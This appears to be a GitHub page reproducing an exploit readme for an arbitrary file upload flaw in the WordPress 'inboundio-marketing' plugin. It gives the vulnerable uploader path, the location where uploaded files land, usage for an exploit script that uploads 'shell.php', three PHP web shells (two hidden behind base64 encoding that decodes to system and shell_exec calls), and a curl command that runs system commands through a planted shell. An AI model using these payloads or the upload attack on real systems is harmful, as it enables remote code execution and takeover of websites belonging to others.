cryptedwolf / wordpress-plugin-inboundio-marketing-shell-upload Goto Github PK

  # AUTOR:        Cleiton Pinheiro / Nick: googleINURL
  # Blog:         http://blog.inurl.com.br
  # Twitter:      https://twitter.com/googleinurl
  # Fanpage:      https://fb.com/InurlBrasil
  # Pastebin      http://pastebin.com/u/Googleinurl
  # GIT:          https://github.com/googleinurl
  # PSS:          http://packetstormsecurity.com/user/googleinurl
  # YOUTUBE:      http://youtube.com/c/INURLBrasil
  # PLUS:         http://google.com/+INURLBrasil

array('file' => "@_YOU_FILE")

http://{target}/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php

http://{target}/wp-content/plugins/inboundio-marketing/admin/partials/uploaded_csv/_YOU_FILE

   -t : SET TARGET.
   -f : SET FILE UPLOAD.
   Execute:
                 php xlp.php -t target -f shell.php

[+] MODEL-01 CODE >>
<?php $__=@base64_decode("c3lzdGVt");echo@$__(isset($_REQUEST[0])?$_REQUEST[0]:NULL);?>
 
[+] MODEL-02 CODE >>
<?php echo(`{$_REQUEST[0]}`);?>
 
[+] MODEL-03 CODE >>
<?php $_=$_REQUEST[0];@$__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"));@$__($_);
 
# EXECUTE: curl "http://localhost/of.php?0=uname%20-a%20%26%26%20ls%20-la"